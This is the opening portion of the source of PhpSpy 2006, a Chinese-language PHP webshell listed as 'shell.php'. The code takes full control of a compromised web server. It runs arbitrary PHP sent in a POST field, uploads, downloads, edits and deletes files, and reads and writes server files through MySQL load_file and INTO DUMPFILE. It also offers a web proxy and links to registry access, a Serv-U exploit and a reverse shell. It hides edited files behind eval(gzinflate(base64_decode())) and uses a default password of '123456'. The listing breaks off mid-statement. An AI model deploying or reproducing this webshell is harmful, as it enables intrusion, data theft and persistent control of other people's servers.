shell.php

下载: shell.php
  1. <?php
  2.  error_reporting(7);
  3.  //设定错误讯息回报的等级
  4.  ob_start();
  5.  //打开缓冲区,当缓冲区激活时,所有来自PHP程序的非文件头信息均不会发送,而是保存在内部缓冲区。为了输出缓冲区的内容,可以使用ob_end_flush()或flush()输出缓冲区的内容。
  6.  $mtime = explode(' ', microtime());
  7.  $starttime = $mtime[1] + $mtime[0];
  8. @set_time_limit(0);
  9.  //非安全模式可以使用上面的函数,超时取消。
  10. <!--more-->
  11.  /*===================== 程序配置 =====================*/
  12.  // 是否需要密码验证,1为需要验证,其他数字为直接进入.下面选项则无效
  13.  $admin['check'] = "1";
  14.  // 如果需要密码验证,请修改登陆密码
  15.  $admin['pass'] = "123456";
  16.  //默认端口表
  17.  $admin['port'] = ",21,22,23,25,53,69,79,80,110,119,143,139,389,443,1080,1433,2401,3128,3306,3389,4899,5432,5631,5900,6000,7000,8000,8080,43958";
  18.  //跳转用的秒
  19.  $admin['jumpsecond'] = "1";
  20.  //是否显示alexa排名
  21.  $admin['alexa'] = "2";
  22.  //Ftp破解用的连接端口
  23.  $admin['ftpport'] = "21";
  24.  // 是否允许phpspy本身自动修改编辑后文件的时间为建立时间(yes/no)
  25.  $retime = "No";
  26.  // 默认cmd.exe的位置,proc_open函数要使用的,linux系统请对应修改.(假设是winnt系统在程序里依然可以指定)
  27.  $cmd = "cmd.exe";
  28.  
  29.  // 下面是phpspy显示版权那栏的,因为被很多程序当成作为关键词杀了,还是不懂表改~~
  30.  
  31.  $notice = "[<a href=\"http://www.51shell.cn\" title=\"浅蓝的辐射鱼\">Saiy</a>] [<a href=\"http://www.4gnel.net\" title=\"安全天使\">S4T</a>] [<a href=\"http://1v1.name\" title=\"7jdg\">7jdg</a>]<br><FONT color=#ff3300>声明:请勿使用本程序从事非法行为,否则后果自负!</font>";
  32.  /*===================== 配置结束 =====================*/
  33.  // 允许程序在 register_globals = off 的环境下工作
  34.  $onoff = (function_exists('ini_get')) ? ini_get('register_globals') : get_cfg_var('register_globals');
  35.  
  36.  if ($onoff != 1) {
  37. @extract($_POST, EXTR_SKIP);
  38. @extract($_GET, EXTR_SKIP);
  39.  }
  40.  
  41.  $self = $_SERVER['PHP_SELF'];
  42.  $dis_func = get_cfg_var("disable_functions");
  43.  
  44.  
  45.  /*===================== 身份验证 =====================*/
  46.  if($admin['check'] == "1") {
  47.  if ($_GET['action'] == "logout") {
  48.  setcookie ("adminpass", "");
  49.  echo "<meta http-equiv=\"refresh\" content=\"3;URL=".$self."\">";
  50.  echo "<span style=\"font-size: 12px; font-family: Verdana\">注销成功......<p><a href=\"".$self."\">三秒后自动退出或单击这里退出程序界面 >>></a></span>";
  51.  exit;
  52.  }
  53.  
  54.  if ($_POST['do'] == 'login') {
  55.  $thepass=trim($_POST['adminpass']);
  56.  if ($admin['pass'] == $thepass) {
  57.  setcookie ("adminpass",$thepass,time()+(1*24*3600));
  58.  echo "<meta http-equiv=\"refresh\" content=\"3;URL=".$self."\">";
  59.  echo "<span style=\"font-size: 12px; font-family: Verdana\">登陆成功......<p><a href=\"".$self."\">三秒后自动跳转或单击这里进入程序界面 >>></a></span>";
  60.  exit;
  61.  }
  62.  }
  63.  if (isset($_COOKIE['adminpass'])) {
  64.  if ($_COOKIE['adminpass'] != $admin['pass']) {
  65.  loginpage();
  66.  }
  67.  } else {
  68.  loginpage();
  69.  }
  70.  }
  71.  /*===================== 验证结束 =====================*/
  72.  
  73.  // 判断 magic_quotes_gpc 状态
  74.  if (get_magic_quotes_gpc()) {
  75.  $_GET = stripslashes_array($_GET);
  76.  $_POST = stripslashes_array($_POST);
  77.  }
  78.  // 查看PHPINFO
  79.  if ($_GET['action'] == "phpinfo") {
  80.  echo $phpinfo=(!eregi("phpinfo",$dis_func)) ? phpinfo() : "phpinfo() 函数已被禁用,请查看<PHP环境变量>";
  81.  exit;
  82.  }
  83.  
  84.  if($_GET['action'] == "nowuser") {
  85.  if(get_current_user()) echo"当前进程用户名:".get_current_user();
  86.  else echo '无法获取当前进行用户名!';
  87.  exit;
  88.  }
  89.  if(isset($_POST['phpcode'])){
  90.  eval("?".">$_POST[phpcode]<?");
  91.  exit;
  92.  }
  93.  //news
  94.  if($action=="mysqldown"){
  95.  $link=@mysql_connect($host,$user,$password);
  96.  if (!$link) {
  97.  $downtmp = '数据库连接失败: ' . mysql_error();
  98.  }else{
  99.  $query="select load_file('".$filename."');";
  100.  $result = @mysql_query($query, $link);
  101.  if(!$result){
  102.  $downtmp = "读取失败,可能是文件不存在或是没file权限。<br>".mysql_error();
  103.  }else{
  104.  while ($row = mysql_fetch_array($result)) {
  105.  $filename = basename($filename);
  106.  if($rardown=="yes"){
  107.  $zip = NEW Zip;
  108.  $zipfiles[]=Array("$filename",$row[0]);
  109.  $zip->Add($zipfiles,1);
  110.  $code = $zip->get_file();
  111.  $filename = "".$filename.".rar";
  112.  }else{
  113.  $code = $row[0];
  114.  }
  115.  header("Content-type: application/octet-stream");
  116.  header("Accept-Ranges: bytes");
  117.  header("Accept-Length: ".strlen($code));
  118.  header("Content-Disposition: attachment;filename=$filename");
  119.  echo($code);
  120.  exit;
  121.  }
  122.  }
  123.  }
  124.  }
  125.  //alexa排名
  126.  if ($admin['alexa'] != "1")
  127.  {$title = "默认关闭";
  128.  }else {
  129.  $url= "http://data.alexa.com/data?cli=10&dat=snba&url=".$_SERVER['HTTP_HOST'];
  130.  $str = file("$url");
  131.  $count = count($str);
  132.  
  133.  for ($i=0;$i<$count;$i++){
  134.  $file .= $str[$i];
  135.  }
  136.  $title = explode("\" TEXT=\"",$file);
  137.  $title = explode("\"/>",$title[1]);
  138.  $title = $title[0];
  139.  if(!$title) $title = "Not data";
  140.  
  141.  }
  142.  $cckk = "_".date("Ymd",time());
  143.  
  144.  // 在线代理
  145.  if (isset($_POST['url'])) {
  146.  $proxycontents = @file_get_contents($_POST['url']);
  147.  echo ($proxycontents) ? $proxycontents : "<body bgcolor=\"#F5F5F5\" style=\"font-size: 12px;\"><center><br><p><b>获取 URL 内容失败</b></p></center></body>";
  148.  exit;
  149.  }
  150.  
  151.  // 下载文件
  152.  if (!empty($downfile)) {
  153.  if (!@file_exists($downfile)) {
  154.  echo "<script>alert('你要下的文件不存在!')</script>";
  155.  } else {
  156.  $filename = basename($downfile);
  157.  $filename_info = explode('.', $filename);
  158.  $fileext = $filename_info[count($filename_info)-1];
  159.  header('Content-type: application/x-'.$fileext);
  160.  header('Content-Disposition: attachment; filename='.$filename);
  161.  header('Content-Description: PHP Generated Data');
  162.  header('Content-Length: '.filesize($downfile));
  163. @readfile($downfile);
  164.  exit;
  165.  }
  166.  }
  167.  
  168.  // 直接下载备份数据库
  169.  if ($_POST['backuptype'] == 'download') {
  170. @mysql_connect($servername,$dbusername,$dbpassword) or die("数据库连接失败");
  171. @mysql_select_db($dbname) or die("选择数据库失败");
  172.  $table = array_flip($_POST['table']);
  173.  $result = mysql_query("SHOW tables");
  174.  echo ($result) ? NULL : "出错: ".mysql_error();
  175.  
  176.  $filename = basename($_SERVER['HTTP_HOST'].$cckk."_MySQL.sql");
  177.  header('Content-type: application/unknown');
  178.  header('Content-Disposition: attachment; filename='.$filename);
  179.  $mysqldata = '';
  180.  while ($currow = mysql_fetch_array($result)) {
  181.  if (isset($table[$currow[0]])) {
  182.  $mysqldata.= sqldumptable($currow[0]);
  183.  $mysqldata.= $mysqldata."\r\n";
  184.  }
  185.  }
  186.  mysql_close();
  187.  exit;
  188.  }
  189.  // 程序目录
  190.  $pathname=str_replace('\\','/',dirname(__FILE__));
  191.  
  192.  // 获取当前路径
  193.  if (!isset($dir) or empty($dir)) {
  194.  $dir = ".";
  195.  $nowpath = getPath($pathname, $dir);
  196.  } else {
  197.  $dir=$_GET['dir'];
  198.  $nowpath = getPath($pathname, $dir);
  199.  }
  200.  
  201.  // 判断读写情况
  202.  $dir_writeable = (dir_writeable($nowpath)) ? "可写" : "不可写";
  203.  $phpinfo=(!eregi("phpinfo",$dis_func)) ? " | <a href=\"?action=phpinfo\" target=\"_blank\">PHPINFO</a>" : "";
  204.  $reg = (substr(PHP_OS, 0, 3) == 'WIN') ? " | <a href=\"?action=reg\">注册表操作</a>" : "";
  205.  $servu = (substr(PHP_OS, 0, 3) == 'WIN') ? "| <a href=\"?action=SUExp\">Serv-U EXP</a> " : "";
  206.  $adodb = (substr(PHP_OS, 0, 3) == 'WIN') ? " | <a href=\"?action=adodb\">ADODB</a> " : "";
  207.  $mysqlfun = (substr(PHP_OS, 0, 3) == 'WIN') ? " | <a href=\"?action=mysqlfun\">Func反弹Shell</a> " : "";
  208.  
  209.  $tb = new FORMS;
  210.  
  211.  ?>
  212. <html>
  213. <head>
  214. <meta http-equiv="Content-Type" content="text/html; charset=gb2312">
  215. <title><? //echo http:// $_SERVER['HTTP_HOST'];?> PhpSpy 2006 最终修改版</title>
  216. <style type="text/css">
  217. body{
  218. BACKGROUND-COLOR: #F5F5F5;
  219. COLOR: #3F3849;
  220. font-family: "Verdana", "Tahoma", "宋体";
  221. font-size: "12px";
  222. line-height: "140%";
  223. }
  224.  
  225. TD {FONT-FAMILY: "Verdana", "Tahoma", "宋体"; FONT-SIZE: 12px; line-height: 140%;}
  226. .smlfont {
  227. font-family: "Verdana", "Tahoma", "宋体";
  228. font-size: "11px";
  229. }
  230. .INPUT {
  231. FONT-SIZE: "12px";
  232. COLOR: "#000000";
  233. BACKGROUND-COLOR: "#FFFFFF";
  234. height: "18px";
  235. border: "1px solid #666666";
  236. padding-left: "2px";
  237. }
  238. .redfont {
  239. COLOR: "#CA0000";
  240. }
  241. A:LINK {COLOR: #3F3849; TEXT-DECORATION: none}
  242. A:VISITED {COLOR: #3F3849; TEXT-DECORATION: none}
  243. A:HOVER {COLOR: #FFFFFF; BACKGROUND-COLOR: #cccccc}
  244. A:ACTIVE {COLOR: #FFFFFF; BACKGROUND-COLOR: #cccccc}
  245. .top {BACKGROUND-COLOR: "#CCCCCC"}
  246. .firstalt {BACKGROUND-COLOR: "#EFEFEF"}
  247. .secondalt {BACKGROUND-COLOR: "#F5F5F5"}
  248. </style>
  249. <SCRIPT language=JavaScript>
  250. function CheckAll(form) {
  251. for (var i=0;i<form.elements.length;i++) {
  252. var e = form.elements[i];
  253. if (e.name != 'chkall')
  254. e.checked = form.chkall.checked;
  255. }
  256. }
  257. function really(d,f,m,t) {
  258. if (confirm(m)) {
  259. if (t == 1) {
  260. window.location.href='?dir='+d+'&deldir='+f;
  261. } else {
  262. window.location.href='?dir='+d+'&delfile='+f;
  263. }
  264. }
  265. }
  266. </SCRIPT>
  267. </head>
  268. <body style="table-layout:fixed; word-break:break-all">
  269. <center>
  270.  <?php
  271.  $tb->tableheader();
  272.  $tb->tdbody('<table width="98%" border="0" cellpadding="0" cellspacing="0"><tr><td><b>'.$_SERVER['HTTP_HOST'].'</b></td><td><b>网站排名:'.$title.'</b></td><td align="center">'.date("Y年m月d日 h:i:s",time()).'</td><td align="right"><b>'.$_SERVER['REMOTE_ADDR'].'</b></td></tr></table>','center','top');
  273.  $tb->tdbody('| <a href="?action=dir">Shell目录</a> | <a href="?action=phpenv">环境变量</a> | <a href="?action=proxy">在线代理</a>'.$reg.$phpinfo.' | <a href="?action=shell">WebShell</a> | <a href="?action=crack&type=crack">杂项破解</a> | <a href="?action=crack">MySql上传下载</a> | <a href="?action=mix">解压mix.dll</a> | <a href="?action=setting">设置部分</a> |');
  274.  $tb->tdbody('| <a href="?action=downloads">Http 文件下载</a> | <a href="?action=search&dir='.$dir.'">文件查找</a> | <a href="?action=eval">执行php脚本</a> | <a href="?action=sql">执行 SQL 语句</a> '.$mysqlfun.' | <a href="?action=sqlbak">MySQL 备份</a> '.$servu.$adodb.'| <a href="?action=logout">注销登录</a> |');
  275.  $tb->tablefooter();
  276.  ?>
  277. <hr width="775" noshade>
  278. <table width="775" border="0" cellpadding="0">
  279.  <?
  280.  $tb->headerform(array('method'=>'GET','content'=>'<p>程序路径: '.$pathname.'<br>当前目录(<FONT color=#ff3300>'.$dir_writeable.'</font>,'.substr(base_convert(@fileperms($nowpath),10,8),-4).'): '.$nowpath.'<br>跳转目录: '.$tb->makeinput('dir').' '.$tb->makeinput('','确定','','submit').' 〖支持绝对路径和相对路径〗'));
  281.  
  282.  $tb->headerform(array('action'=>'?dir='.urlencode($dir),'enctype'=>'multipart/form-data','content'=>'上传文件到当前目录: '.$tb->makeinput('uploadfile','','','file').' '.$tb->makeinput('doupfile','确定','','submit').$tb->makeinput('uploaddir',$dir,'','hidden')));
  283.  
  284.  $tb->headerform(array('action'=>'?action=editfile&dir='.urlencode($dir),'content'=>'新建文件在当前目录: '.$tb->makeinput('editfile').' '.$tb->makeinput('createfile','确定','','submit')));
  285.  
  286.  $tb->headerform(array('content'=>'新建目录在当前目录: '.$tb->makeinput('newdirectory').' '.$tb->makeinput('createdirectory','确定','','submit')));
  287.  ?>
  288. </table>
  289. <hr width="775" noshade>
  290.  <?php
  291.  /*===================== 执行操作 开始 =====================*/
  292.  echo "<p><b>\n";
  293.  // 删除文件
  294.  if (!empty($delfile)) {
  295.  if (file_exists($delfile)) {
  296.  echo (@unlink($delfile)) ? $delfile." 删除成功!" : "文件删除失败!";
  297.  } else {
  298.  echo basename($delfile)." 文件已不存在!";
  299.  }
  300.  }
  301.  
  302.  // 删除目录
  303.  elseif (!empty($deldir)) {
  304.  $deldirs="$dir/$deldir";
  305.  if (!file_exists("$deldirs")) {
  306.  echo "$deldir 目录已不存在!";
  307.  } else {
  308.  echo (deltree($deldirs)) ? "目录删除成功!" : "目录删除失败!";
  309.  }
  310.  }
  311.  
  312.  // 创建目录
  313.  elseif (($createdirectory) AND !empty($_POST['newdirectory'])) {
  314.  if (!empty($newdirectory)) {
  315.  $mkdirs="$dir/$newdirectory";
  316.  if (file_exists("$mkdirs")) {
  317.  echo "该目录已存在!";
  318.  } else {
  319.  echo (@mkdir("$mkdirs",0777)) ? "创建目录成功!" : "创建失败!";
  320. @chmod("$mkdirs",0777);
  321.  }
  322.  }
  323.  }
  324.  
  325.  // 上传文件
  326.  elseif ($doupfile) {
  327.  echo (@copy($_FILES['uploadfile']['tmp_name'],"".$uploaddir."/".$_FILES['uploadfile']['name']."")) ? "上传成功!" : "上传失败!";
  328.  }
  329.  elseif($action=="mysqlup"){
  330.  $filename = $_FILES['upfile']['tmp_name'];
  331.  if(!$filename) {
  332.  echo"没有选择要上传的文件。。";
  333.  }else{
  334.  $shell = file_get_contents($filename);
  335.  $mysql = bin2hex($shell);
  336.  if(!$upname) $upname = $_FILES['upfile']['name'];
  337.  $shell = "select 0x".$mysql." from ".$database." into DUMPFILE '".$uppath."/".$upname."';";
  338.  $link=@mysql_connect($host,$user,$password);
  339.  if(!$link){
  340.  echo "登陆失败".mysql_error();
  341.  }else{
  342.  $result = mysql_query($shell, $link);
  343.  if($result){
  344.  echo"操作成功.文件成功上传到".$host.",文件名为".$uppath."/".$upname."..";
  345.  }else{
  346.  echo"上传失败 原因:".mysql_error();
  347.  }
  348.  }
  349.  }
  350.  
  351.  }
  352.  elseif($action=="mysqldown"){
  353.  if(!empty($downtmp)) echo $downtmp;
  354.  }
  355.  // 编辑文件
  356.  elseif ($_POST['do'] == 'doeditfile') {
  357.  if (!empty($_POST['editfilename'])) {
  358.  if(!file_exists($editfilename)) unset($retime);
  359.  if($time==$now) $time = @filemtime($editfilename);
  360.  $time2 = @date("Y-m-d H:i:s",$time);
  361.  $filename="$editfilename";
  362. @$fp=fopen("$filename","w");
  363.  if($_POST['change']=="yes"){
  364.  $filecontent = "?".">".$_POST['filecontent']."<?";
  365.  $filecontent = gzdeflate($filecontent);
  366.  $filecontent = base64_encode($filecontent);
  367.  $filecontent = "<?php\n/*\n代码由http://1v1.name加密!\n*/\neval(gzinflate(base64_decode('$filecontent')));\n"."?>";
  368.  }else{
  369.  $filecontent = $_POST['filecontent'];
  370.  }
  371.  echo